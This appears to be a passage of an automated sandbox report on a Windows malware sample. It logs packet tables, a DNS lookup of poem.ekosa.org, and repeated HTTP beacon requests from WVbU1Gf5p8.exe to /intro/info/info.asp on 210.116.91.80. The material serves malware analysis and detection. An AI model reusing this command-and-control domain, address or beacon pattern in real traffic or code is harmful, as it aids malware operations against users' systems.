Jan 11, 2021 17:57:35.726397991 CET	80	50052	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:35.849493980 CET	80	50053	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:35.850209951 CET	50053	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:35.851495981 CET	50053	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.114909887 CET	80	50053	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.115065098 CET	50053	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.115148067 CET	50053	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.119673014 CET	50054	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.377733946 CET	80	50053	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.383586884 CET	80	50054	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.384381056 CET	50054	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.384987116 CET	50054	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.649343967 CET	80	50054	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.649934053 CET	50054	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.650167942 CET	50054	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.658442974 CET	50055	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.913666010 CET	80	50054	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.915374041 CET	80	50055	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:36.915548086 CET	50055	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:36.917159081 CET	50055	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.174726009 CET	80	50055	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:37.176763058 CET	50055	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.177030087 CET	50055	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.292783976 CET	50056	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.433588028 CET	80	50055	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:37.553716898 CET	80	50056	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:37.554105997 CET	50056	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.555005074 CET	50056	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.816874981 CET	80	50056	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:37.817044020 CET	50056	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.817276001 CET	50056	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:37.822151899 CET	50057	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.078115940 CET	80	50056	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.084208965 CET	80	50057	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.084368944 CET	50057	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.085321903 CET	50057	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.348088026 CET	80	50057	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.348464966 CET	50057	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.348684072 CET	50057	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.356905937 CET	50058	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.610536098 CET	80	50057	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.624557972 CET	80	50058	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.624762058 CET	50058	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.628407001 CET	50058	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.896718025 CET	80	50058	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:38.897169113 CET	50058	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:38.897289991 CET	50058	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.008595943 CET	50059	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.164562941 CET	80	50058	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:39.278240919 CET	80	50059	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:39.278896093 CET	50059	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.297255039 CET	50059	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.567338943 CET	80	50059	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:39.567868948 CET	50059	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.567991018 CET	50059	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.572240114 CET	50060	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.836896896 CET	80	50059	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:39.844100952 CET	80	50060	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:39.845024109 CET	50060	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:39.845774889 CET	50060	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.118158102 CET	80	50060	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:40.118340969 CET	50060	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.118437052 CET	50060	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.120975018 CET	50061	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.383126020 CET	80	50061	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:40.383851051 CET	50061	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.390117884 CET	80	50060	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:40.390743971 CET	50061	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.653165102 CET	80	50061	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:40.654001951 CET	50061	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.654196024 CET	50061	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.775902987 CET	50062	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:40.916074038 CET	80	50061	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.032679081 CET	80	50062	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.032780886 CET	50062	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.034111977 CET	50062	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.291224003 CET	80	50062	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.291543961 CET	50062	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.291697979 CET	50062	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.295624971 CET	50063	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.548007965 CET	80	50062	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.555386066 CET	80	50063	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.555649996 CET	50063	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.556370974 CET	50063	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.816778898 CET	80	50063	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:41.817058086 CET	50063	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.817318916 CET	50063	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:41.823790073 CET	50064	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.076993942 CET	80	50063	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:42.085009098 CET	80	50064	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:42.085371017 CET	50064	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.086652040 CET	50064	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.348958969 CET	80	50064	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:42.349092960 CET	50064	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.350528955 CET	50064	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.462131977 CET	50065	80	192.168.2.4	210.116.91.80
Jan 11, 2021 17:57:42.611454010 CET	80	50064	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:42.728588104 CET	80	50065	210.116.91.80	192.168.2.4
Jan 11, 2021 17:57:42.728672981 CET	50065	80	192.168.2.4	210.116.91.80

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2021 17:54:50.327912092 CET	56534	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:50.375921965 CET	53	56534	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:51.456178904 CET	56627	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:51.507028103 CET	53	56627	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:52.859436989 CET	56621	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:52.910554886 CET	53	56621	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:54.150439978 CET	63116	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:54.198148012 CET	53	63116	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:55.312558889 CET	64078	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:55.363318920 CET	53	64078	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:56.019773960 CET	64801	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:56.400116920 CET	53	64801	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:56.479903936 CET	61721	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:56.528000116 CET	53	61721	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:57.613356113 CET	51255	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:57.664556980 CET	53	51255	8.8.8.8	192.168.2.4
Jan 11, 2021 17:54:59.272258043 CET	61522	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:54:59.323074102 CET	53	61522	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:00.485110044 CET	52337	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:00.541618109 CET	53	52337	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:01.652298927 CET	55046	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:01.710850000 CET	53	55046	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:02.817600012 CET	49612	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:02.865578890 CET	53	49612	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:03.955786943 CET	49285	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:04.003793955 CET	53	49285	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:05.092745066 CET	50601	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:05.143625975 CET	53	50601	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:14.155049086 CET	60875	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:14.206022978 CET	53	60875	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:18.857247114 CET	56448	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:18.915152073 CET	53	56448	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:30.622966051 CET	59172	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:30.697223902 CET	53	59172	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:40.183861971 CET	62420	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:40.242363930 CET	53	62420	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:40.341576099 CET	60579	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:40.389503956 CET	53	60579	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:49.522109032 CET	50183	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:49.569937944 CET	53	50183	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:50.181818008 CET	61531	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:50.255687952 CET	53	61531	8.8.8.8	192.168.2.4
Jan 11, 2021 17:55:52.533818007 CET	49228	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:55:52.594717979 CET	53	49228	8.8.8.8	192.168.2.4
Jan 11, 2021 17:56:24.092113018 CET	59794	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:56:24.142743111 CET	53	59794	8.8.8.8	192.168.2.4
Jan 11, 2021 17:56:25.992212057 CET	55916	53	192.168.2.4	8.8.8.8
Jan 11, 2021 17:56:26.048433065 CET	53	55916	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 11, 2021 17:54:56.019773960 CET	192.168.2.4	8.8.8.8	0x86a6	Standard query (0)	poem.ekosa.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 11, 2021 17:54:56.400116920 CET	8.8.8.8	192.168.2.4	0x86a6	No error (0)	poem.ekosa.org		210.116.91.80	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

poem.ekosa.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49756	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:56.689865112 CET	77	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:56.951431990 CET	83	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49758	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:57.222948074 CET	86	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:57.485622883 CET	90	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49771	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:02.398149014 CET	245	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:02.659898996 CET	249	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:02 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.4	49878	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:54.989450932 CET	4307	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:55.253542900 CET	4307	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:55 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.4	49879	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:55.525911093 CET	5086	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:55.787642002 CET	5087	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:55 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.4	49880	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:56.170101881 CET	5087	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:56.433552980 CET	5088	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:56 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META 